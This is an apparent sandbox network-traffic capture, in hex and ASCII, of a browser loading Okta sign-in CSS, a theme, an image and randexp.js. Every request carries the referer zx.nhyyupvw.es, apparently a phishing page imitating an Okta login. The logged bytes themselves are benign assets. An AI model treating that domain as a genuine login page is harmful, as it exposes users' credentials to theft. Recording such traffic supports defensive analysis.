fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 Data Ascii: >81a$F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 60 ba 2b 4e 41 b9 5e a0 b5 0b 2c f9 1a 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 Data Ascii: `+NA^,c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|w

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	692	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:09 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250324%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250324T131309Z&X-Amz-Expires=300&X-Amz-Signature=3d601274a7a6ffc17f60c001661c29d1f20822074986ea0feb0d43eed1911768&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-24 13:13:09 UTC	3369	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	638	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:09 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 100ce1d37f67e6c59753cd4c9c473afc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: 3gZ-K1lj16MHornIM019SO4SDIUfJmwU2fSpRzgUWGWWCX6zrdG70A== Age: 915838
2025-03-24 13:13:09 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-24 13:13:09 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-03-24 13:13:09 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-03-24 13:13:09 UTC	14808	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-03-24 13:13:09 UTC	13078	IN	Data Raw: 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 Data Ascii: peat -30px -20px,-moz-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,-o-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,linear-gra
2025-03-24 13:13:09 UTC	16384	IN	Data Raw: 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 6c 69 2b 6c 69 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2e 75 69 2d 74 61 62 73 20 2e 6f 2d 66 6f 72 6d 2d 70 69 6c 6c 62 61 72 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 61 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 20 30 20 30 20 33 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2e 75 69 2d 74 61 62 73 20 2e 6f 2d 66 6f 72 6d 2d 70 69 6c 6c 62 61 72 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 6c 69 3a 6c 61 73 74 2d 63 68 69 6c 64 3e 61 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 33 70 78 20 33 70 78 20 30 3b 62 6f 72 64 65 Data Ascii: .ui-tabs-nav li+li{margin-left:0}#okta-sign-in .o-form-toolbar.ui-tabs .o-form-pillbar.ui-tabs-nav li:first-child a{border-radius:3px 0 0 3px}#okta-sign-in .o-form-toolbar.ui-tabs .o-form-pillbar.ui-tabs-nav li:last-child>a{border-radius:0 3px 3px 0;borde
2025-03-24 13:13:09 UTC	2804	IN	Data Raw: 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 6e 6f 2d 62 6f 72 64 65 72 2b 2e 62 75 74 74 6f 6e 2d 62 61 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 6e 6f 2d 62 6f 72 64 65 72 2b 2e 62 75 74 74 6f 6e 2d 62 61 72 2d 73 6d 61 6c 6c 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 6e 6f 2d 62 6f 72 64 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 74 65 78 74 7b 70 61 64 64 69 6e 67 3a 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 68 65 61 64 65 72 7b 66 6f 6e 74 2d 77 65 69 67 Data Ascii: kta-sign-in .infobox-no-border+.button-bar,#okta-sign-in .infobox-no-border+.button-bar-small{border-top:1px solid #dadada}#okta-sign-in .infobox-no-border{border:none!important}#okta-sign-in .infobox-text{padding:0}#okta-sign-in .infobox-header{font-weig
2025-03-24 13:13:09 UTC	12792	IN	Data Raw: 6f 2d 66 6f 72 6d 2d 68 65 61 64 2b 2e 6f 2d 66 6f 72 6d 2d 65 78 70 6c 61 69 6e 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 2e 62 75 74 74 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 30 70 78 3b 77 69 64 74 68 3a Data Ascii: o-form-head+.o-form-explain{margin-bottom:20px;text-align:center}#okta-sign-in .o-form-button-bar{background:transparent;border:none;border-radius:0;box-shadow:none;padding:0 0 25px}#okta-sign-in .o-form-button-bar .button{display:block;height:50px;width:
2025-03-24 13:13:09 UTC	6396	IN	Data Raw: 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 66 6f 72 67 6f 74 2d 70 61 73 73 77 6f 72 64 2d 73 6d 73 2d 65 6e 61 62 6c 65 64 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 66 6f 72 67 6f 74 2d 70 61 73 73 77 6f 72 64 2d 63 61 6c 6c 2d 65 6e 61 62 6c 65 64 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2b 2e 62 75 74 74 6f 6e 2d 70 72 69 6d Data Ascii: orm-fieldset-container .button,#okta-sign-in .forgot-password-sms-enabled .o-form-fieldset-container .button{float:none;margin-bottom:15px;margin-left:0;width:100%}#okta-sign-in .forgot-password-call-enabled .o-form-fieldset-container .button+.button-prim
2025-03-24 13:13:09 UTC	12792	IN	Data Raw: 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 62 66 62 66 62 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 69 63 6f 6e 73 2f 6c 6f 67 69 6e 2f 61 70 70 6c 65 5f 6c 6f 67 6f 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 31 32 70 78 2f 32 34 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 64 65 67 2c 23 66 66 66 20 35 30 70 78 2c 23 66 62 66 62 66 62 20 30 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 33 63 33 63 33 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 61 70 70 6c 65 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 61 70 70 6c 65 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 Data Ascii: {background-color:#fbfbfb;background:url(../img/icons/login/apple_logo.png) no-repeat 12px/24px,linear-gradient(90deg,#fff 50px,#fbfbfb 0);border:1px solid #c3c3c3}#okta-sign-in .social-auth-apple-button:active,#okta-sign-in .social-auth-apple-button:focu

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	647	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:09 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 7c1248297a08764c17a9223ad5c211f8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: -ROWicJk8G9gS0GBPpSxd8RE-B1Lro_CUwEE1fkYs88Eo5cmsRkfIQ== Age: 588962
2025-03-24 13:13:09 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	649	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:09 UTC	875	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Wed, 12 Mar 2025 01:03:00 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Thu, 12 Mar 2026 01:03:00 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none'; img-src 'self'; require-trusted-types-for 'script'; report-uri https://oktacsp.report-uri.com/r/t/csp/enforce X-Content-Type-Options: nosniff Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 af81a253e57ed5b111fa0052bfc87f2e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: R8ENIDojXO1o7CUAJOsQGNPKeJc0bbxERcz0J1pGDgXyVEbxoQf-jA== Age: 1080609
2025-03-24 13:13:09 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$